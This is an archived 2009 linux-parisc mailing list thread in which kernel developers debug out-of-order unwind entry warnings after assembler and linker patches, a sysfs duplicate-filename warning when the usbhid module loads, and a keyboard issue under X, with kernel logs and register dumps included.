Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4582 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756425AbZKBVuZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Nov 2009 16:50:25 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 07A81500F; Mon,  2 Nov 2009 16:50:26 -0500 (EST)
In-Reply-To: <4AEF48E7.9090504@gmx.de> from "Helge Deller" at Nov 2, 2009 10:02:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2290
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2290>

> On 11/02/2009 03:34 AM, John David Anglin wrote:
> > On Sun, 01 Nov 2009, John David Anglin wrote:
> >
> >> On Sun, 01 Nov 2009, John David Anglin wrote:
> >>
> >>> On Fri, 30 Oct 2009, Helge Deller wrote:
> >>>
> >>>> But when compiling the kernel something is still wrong.
> >>>> I tried it a few times now, recompiled binutils, the kernel and so on.
> >>>> I'm not 100% sure that I did everything correct, but I still think there is
> >>>> something wrong...
> >>>
> >>> I believe that you are correct but I think we have another unrelated bug.
> >>> It appears that the unwind data is getting messed up in the link of
> >>> built-in.o.
> >>
> >> It seems the unwind data is being sorted by ld -r.
> >
> > Does the attached patch fix the problem?
> 
> Yes, it does :-)

Thanks for testing!  I have built a 32-bit kernel with the revised assembler
and linker, and the readelf -u output looked good to me.  I will install
the remaining two changes tonight (the assembler change was installed a couple
of days ago).

I haven't had a chance to boot the new kernel (waiting for a GCC build
to complete).  There is a USB issue that appeared on my c3750 with
2.6.30.9 (2.6.30.8 is ok) and 2.6.31.5.  Here is the dmesg output
from 2.6.31.5:

Linux version 2.6.31.5 (root@hiauly6) (gcc version 4.3.4 (Debian 4.3.4-5) ) #6 Sun Nov 1 14:20:36 EST 2009
unwind_init: start = 0x10524000, end = 0x10559a60, entries = 13734
FP[0] enabled: Rev 1 Model 19
The 32-bit Kernel has started...
...
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
...
usbmon: debugfs is not available
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
ohci_hcd 0000:00:0e.2: OHCI Host Controller
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf4007000
...
usb usb1: configuration #1 chosen from 1 choice
 sdb5
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
...
usb 1-1: new low speed USB device using ohci_hcd and address 2
EXT3-fs: mounted filesystem with writeback data mode.
VFS: Mounted root (ext3 filesystem) readonly on device 8:19.
Freeing unused kernel memory: 124k freed
usb 1-1: configuration #1 chosen from 1 choice
usb 1-2: new low speed USB device using ohci_hcd and address 3
usb 1-2: configuration #1 chosen from 1 choice
sysfs: cannot create duplicate filename '/module/usbhid/sections/.text'
------------[ cut here ]------------
Badness at fs/sysfs/dir.c:487

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  0004000f 10576200 101cb5dc 4edc9000
r04-07  ffffffef 4fbb4288 4edc8a88 00074844
r08-11  4f8db000 00000000 00063000 00000064
r12-15  00000124 00067bbb 104c36a0 00000058
r16-19  00068fc8 00000062 4fbb4148 10576244
r20-23  00002b68 4f16bca0 0027f808 ffffffff
r24-27  ffffffff 00002b68 10576240 1055c2d0
r28-31  0000004e 00000000 4fbb4340 102a0244
sr00-03  00000000 00000000 00000000 00000010
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101cb5dc 101cb5e0
 IIR: 03ffe01f    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 4fbb4000 CR31: ffffffff
 ORIG_R28: 00000001
 IAOQ[0]: sysfs_add_one+0x8c/0xb4
 IAOQ[1]: sysfs_add_one+0x90/0xb4
 RP(r2): sysfs_add_one+0x8c/0xb4
Backtrace:
 [<101cadb0>] sysfs_add_file_mode+0x58/0xb4
 [<101cd4b4>] internal_create_group+0x118/0x1dc
 [<10158434>] load_module+0xf14/0x1214

input: Logitech N48 as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-1/1-1:1.0/input/input0
generic-usb 0003:046D:C001.0001: input: USB HID v1.00 Mouse [Logitech N48] on usb-0000:00:0e.2-1/input0
input: SILITEK USB Keyboard and Mouse as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-2/1-2:1.0/input/input1
generic-usb 0003:047B:0002.0002: input: USB HID v1.00 Keyboard [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2/input0
input: SILITEK USB Keyboard and Mouse as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-2/1-2:1.1/input/input2
generic-usb 0003:047B:0002.0003: input: USB HID v1.00 Mouse [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2/input1
usbcore: registered new interface driver usbhid
usbhid: v2.6:USB HID core driver
...

As you can see, there is a USB mouse and keyboard.  Want to see backtrace
with new assembler and linker.  However, at the least the first part is
consistent with the sysfs warning.

I "upgraded" this system to testing last weekend.  The keyboard is broken
under X.  In gdm/kdm, one has to press a key twice.  The Xorg.0.log seems
ok:

(**) Option "CoreKeyboard"
(**) Generic Keyboard: always reports core events
(**) Option "Protocol" "standard"
(**) Generic Keyboard: Protocol: standard
(**) Option "AutoRepeat" "500 30"
(**) Option "XkbRules" "xorg"
(**) Generic Keyboard: XkbRules: "xorg"
(**) Option "XkbModel" "pc104"
(**) Generic Keyboard: XkbModel: "pc104"
(**) Option "XkbLayout" "us"
(**) Generic Keyboard: XkbLayout: "us"
(**) Option "CustomKeycodes" "off"
(**) Generic Keyboard: CustomKeycodes disabled
(II) XINPUT: Adding extended input device "Generic Keyboard" (type: KEYBOARD)

Mouse works ok.

Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Mon, 02 Nov 2009 23:20:29 +0100
Lines: 147
Approved: news@gmane.org
Message-ID: <4AEF5B2D.7030906@gmx.de>
References: <20091102215027.07A81500F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257200445 12691 80.91.229.12 (2 Nov 2009 22:20:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Nov 2009 22:20:45 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 02 23:20:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N55GN-0003hr-6L
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Nov 2009 23:20:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756886AbZKBWU2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Nov 2009 17:20:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753058AbZKBWU2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Nov 2009 17:20:28 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:34212 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756886AbZKBWU2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Nov 2009 17:20:28 -0500
Original-Received: (qmail invoked by alias); 02 Nov 2009 22:20:31 -0000
Original-Received: from p4FDB2BAA.dip0.t-ipconnect.de (EHLO halden.box) [79.219.43.170]
  by mail.gmx.net (mp005) with SMTP; 02 Nov 2009 23:20:31 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18pg8owGiQpb2H9e4cHeUpbHtf+so/+02GIjZw/7v
	SbFvIgUpRnR3tR
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091102215027.07A81500F@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2291
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2291>

On 11/02/2009 10:50 PM, John David Anglin wrote:
>> On 11/02/2009 03:34 AM, John David Anglin wrote:
>>> On Sun, 01 Nov 2009, John David Anglin wrote:
>>>
>>>> On Sun, 01 Nov 2009, John David Anglin wrote:
>>>>
>>>>> On Fri, 30 Oct 2009, Helge Deller wrote:
>>>>>
>>>>>> But when compiling the kernel something is still wrong.
>>>>>> I tried it a few times now, recompiled binutils, the kernel and so on.
>>>>>> I'm not 100% sure that I did everything correct, but I still think there is
>>>>>> something wrong...
>>>>>
>>>>> I believe that you are correct but I think we have another unrelated bug.
>>>>> It appears that the unwind data is getting messed up in the link of
>>>>> built-in.o.
>>>>
>>>> It seems the unwind data is being sorted by ld -r.
>>>
>>> Does the attached patch fix the problem?
>>
>> Yes, it does :-)
>
> Thanks for testing!  I have built a 32-bit kernel with the revised assembler
> and linker, and the readelf -u output looked good to me.  I will install
> the remaining two changes tonight (the assembler change was installed a couple
> of days ago).

I did tested the 64bit version now as well.
It looks good too.

> I haven't had a chance to boot the new kernel (waiting for a GCC build
> to complete).  There is a USB issue that appeared on my c3750 with
> 2.6.30.9 (2.6.30.8 is ok) and 2.6.31.5.  Here is the dmesg output
> from 2.6.31.5:
>
> Linux version 2.6.31.5 (root@hiauly6) (gcc version 4.3.4 (Debian 4.3.4-5) ) #6 Sun Nov 1 14:20:36 EST 2009
> unwind_init: start = 0x10524000, end = 0x10559a60, entries = 13734
> FP[0] enabled: Rev 1 Model 19
> The 32-bit Kernel has started...
> ...
> usbcore: registered new interface driver usbfs
> usbcore: registered new interface driver hub
> usbcore: registered new device driver usb
> ...
> usbmon: debugfs is not available
> ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
> ohci_hcd 0000:00:0e.2: OHCI Host Controller
> ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
> ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf4007000
> ...
> usb usb1: configuration #1 chosen from 1 choice
>   sdb5
> hub 1-0:1.0: USB hub found
> hub 1-0:1.0: 3 ports detected
> ...
> usb 1-1: new low speed USB device using ohci_hcd and address 2
> EXT3-fs: mounted filesystem with writeback data mode.
> VFS: Mounted root (ext3 filesystem) readonly on device 8:19.
> Freeing unused kernel memory: 124k freed
> usb 1-1: configuration #1 chosen from 1 choice
> usb 1-2: new low speed USB device using ohci_hcd and address 3
> usb 1-2: configuration #1 chosen from 1 choice
> sysfs: cannot create duplicate filename '/module/usbhid/sections/.text'
> ------------[ cut here ]------------
> Badness at fs/sysfs/dir.c:487

Yes, this is known.
See here:
http://patchwork.kernel.org/patch/42190/
Would be nice if this could get fixed.

  
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001111 Not tainted
> r00-03  0004000f 10576200 101cb5dc 4edc9000
> r04-07  ffffffef 4fbb4288 4edc8a88 00074844
> r08-11  4f8db000 00000000 00063000 00000064
> r12-15  00000124 00067bbb 104c36a0 00000058
> r16-19  00068fc8 00000062 4fbb4148 10576244
> r20-23  00002b68 4f16bca0 0027f808 ffffffff
> r24-27  ffffffff 00002b68 10576240 1055c2d0
> r28-31  0000004e 00000000 4fbb4340 102a0244
> sr00-03  00000000 00000000 00000000 00000010
> sr04-07  00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 101cb5dc 101cb5e0
>   IIR: 03ffe01f    ISR: 00000000  IOR: 00000000
>   CPU:        0   CR30: 4fbb4000 CR31: ffffffff
>   ORIG_R28: 00000001
>   IAOQ[0]: sysfs_add_one+0x8c/0xb4
>   IAOQ[1]: sysfs_add_one+0x90/0xb4
>   RP(r2): sysfs_add_one+0x8c/0xb4
> Backtrace:
>   [<101cadb0>] sysfs_add_file_mode+0x58/0xb4
>   [<101cd4b4>] internal_create_group+0x118/0x1dc
>   [<10158434>] load_module+0xf14/0x1214
>
> input: Logitech N48 as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-1/1-1:1.0/input/input0
> generic-usb 0003:046D:C001.0001: input: USB HID v1.00 Mouse [Logitech N48] on usb-0000:00:0e.2-1/input0
> input: SILITEK USB Keyboard and Mouse as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-2/1-2:1.0/input/input1
> generic-usb 0003:047B:0002.0002: input: USB HID v1.00 Keyboard [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2/input0
> input: SILITEK USB Keyboard and Mouse as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-2/1-2:1.1/input/input2
> generic-usb 0003:047B:0002.0003: input: USB HID v1.00 Mouse [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2/input1
> usbcore: registered new interface driver usbhid
> usbhid: v2.6:USB HID core driver
> ...
>
> As you can see, there is a USB mouse and keyboard.  Want to see backtrace
> with new assembler and linker.  However, at the least the first part is
> consistent with the sysfs warning.

I have the same keyboard and mouse attached to my c3000.

  
> I "upgraded" this system to testing last weekend.  The keyboard is broken
> under X.  In gdm/kdm, one has to press a key twice.  The Xorg.0.log seems
> ok:
>
> (**) Option "CoreKeyboard"
> (**) Generic Keyboard: always reports core events
> (**) Option "Protocol" "standard"
> (**) Generic Keyboard: Protocol: standard
> (**) Option "AutoRepeat" "500 30"
> (**) Option "XkbRules" "xorg"
> (**) Generic Keyboard: XkbRules: "xorg"
> (**) Option "XkbModel" "pc104"
> (**) Generic Keyboard: XkbModel: "pc104"
> (**) Option "XkbLayout" "us"
> (**) Generic Keyboard: XkbLayout: "us"
> (**) Option "CustomKeycodes" "off"
> (**) Generic Keyboard: CustomKeycodes disabled
> (II) XINPUT: Adding extended input device "Generic Keyboard" (type: KEYBOARD)
>
> Mouse works ok.
> Thoughts?

No idea, as I only netboot my c3000 and normally don't work in front of those PA boxes.
I'll test if I see the same issues...
Did you tried bisecting 2.6.30.8 and 2.6.30.9 ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Mon, 02 Nov 2009 16:31:12 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <1257201072.9933.2.camel@mulgrave.site>
References: <20091102215027.07A81500F@hiauly1.hia.nrc.ca>
	 <4AEF5B2D.7030906@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257201089 14777 80.91.229.12 (2 Nov 2009 22:31:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Nov 2009 22:31:29 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 02 23:31:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N55Qk-0008L9-5k
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Nov 2009 23:31:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756957AbZKBWbL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Nov 2009 17:31:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757050AbZKBWbL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Nov 2009 17:31:11 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42060 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756957AbZKBWbL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Nov 2009 17:31:11 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B51D78EE0E3;
	Mon,  2 Nov 2009 14:31:15 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id uzhG0iICOqU3; Mon,  2 Nov 2009 14:31:15 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A07978EE0BA;
	Mon,  2 Nov 2009 14:31:13 -0800 (PST)
In-Reply-To: <4AEF5B2D.7030906@gmx.de>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2292
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2292>

On Mon, 2009-11-02 at 23:20 +0100, Helge Deller wrote:
> On 11/02/2009 10:50 PM, John David Anglin wrote:
> > sysfs: cannot create duplicate filename '/module/usbhid/sections/.text'
> > ------------[ cut here ]------------
> > Badness at fs/sysfs/dir.c:487
> 
> Yes, this is known.
> See here:
> http://patchwork.kernel.org/patch/42190/
> Would be nice if this could get fixed.

Actually, it is fixed; the patch is upstream as commit
1b364bf438cf337a3818aee77d68c0713f3e1fc4

The patch was designed to fix the panic that occurred.  This warn on is
coming out of the sysfs code when we try to register a duplicate section
name.  The panic that followed is what the patch fixed ... but we still
get left with the warn on.

James




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Mon, 02 Nov 2009 23:43:24 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <4AEF608C.9000402@gmx.de>
References: <20091102215027.07A81500F@hiauly1.hia.nrc.ca>	 <4AEF5B2D.7030906@gmx.de> <1257201072.9933.2.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257201818 17006 80.91.229.12 (2 Nov 2009 22:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Nov 2009 22:43:38 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 02 23:43:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N55cX-0003TY-He
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Nov 2009 23:43:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756875AbZKBWnX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Nov 2009 17:43:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756957AbZKBWnX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Nov 2009 17:43:23 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:56772 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756875AbZKBWnW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Nov 2009 17:43:22 -0500
Original-Received: (qmail invoked by alias); 02 Nov 2009 22:43:26 -0000
Original-Received: from p4FDB2BAA.dip0.t-ipconnect.de (EHLO halden.box) [79.219.43.170]
  by mail.gmx.net (mp042) with SMTP; 02 Nov 2009 23:43:26 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+B8rcyRbSBkpbQ1HlGoFmwt4Dj+WCHLiiVyzpEvm
	IM84t7q6eQZfXt
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <1257201072.9933.2.camel@mulgrave.site>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.61
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2293>

On 11/02/2009 11:31 PM, James Bottomley wrote:
> On Mon, 2009-11-02 at 23:20 +0100, Helge Deller wrote:
>> On 11/02/2009 10:50 PM, John David Anglin wrote:
>>> sysfs: cannot create duplicate filename '/module/usbhid/sections/.text'
>>> ------------[ cut here ]------------
>>> Badness at fs/sysfs/dir.c:487
>>
>> Yes, this is known.
>> See here:
>> http://patchwork.kernel.org/patch/42190/
>> Would be nice if this could get fixed.
>
> Actually, it is fixed; the patch is upstream as commit
> 1b364bf438cf337a3818aee77d68c0713f3e1fc4
>
> The patch was designed to fix the panic that occurred.  This warn on is
> coming out of the sysfs code when we try to register a duplicate section
> name.  The panic that followed is what the patch fixed ... but we still
> get left with the warn on.

Yes, the crash is fixed, but still the warning is ugly.
Each time you load any module, this warning is filling up the log.
If you boot via serial console (like me) printing this warning with 9600 baud takes endless time (and you easily get up to 30 times this warning).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Mon, 02 Nov 2009 23:52:04 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <4AEF6294.5000705@gmx.de>
References: <20091102215027.07A81500F@hiauly1.hia.nrc.ca> <4AEF5B2D.7030906@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257202342 18586 80.91.229.12 (2 Nov 2009 22:52:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Nov 2009 22:52:22 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 02 23:52:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N55kv-0008IW-74
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Nov 2009 23:52:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932498AbZKBWwD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Nov 2009 17:52:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932504AbZKBWwD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Nov 2009 17:52:03 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:52388 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S932498AbZKBWwB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Nov 2009 17:52:01 -0500
Original-Received: (qmail invoked by alias); 02 Nov 2009 22:52:05 -0000
Original-Received: from p4FDB2BAA.dip0.t-ipconnect.de (EHLO halden.box) [79.219.43.170]
  by mail.gmx.net (mp007) with SMTP; 02 Nov 2009 23:52:05 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19rjUZDOEdrEXsMjNfs9ImjAKycwSdlx2plbmlcGB
	Xy91YqrPyCSsMS
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <4AEF5B2D.7030906@gmx.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.67
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2294>

On 11/02/2009 11:20 PM, Helge Deller wrote:
>> Thanks for testing! I have built a 32-bit kernel with the revised
>> assembler and linker, and the readelf -u output looked good to me.
>>I will install the remaining two changes tonight (the assembler
>>change was installed a couple of days ago).
>
> I did tested the 64bit version now as well.
> It looks good too.

Hi Dave,

sadly I answered too early....
With 64bit kernel I get those unwind warnings again with nearly all kernel modules now:
WARNING: Out of order unwind entry! 0000000000d4ad40 and 0000000000d4ad50

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Mon, 2 Nov 2009 18:23:23 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <20091102232324.AAFFF4E38@hiauly1.hia.nrc.ca>
References: <4AEF6294.5000705@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257204219 24355 80.91.229.12 (2 Nov 2009 23:23:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Nov 2009 23:23:39 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 00:23:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N56FE-0004mD-Vm
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Nov 2009 00:23:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
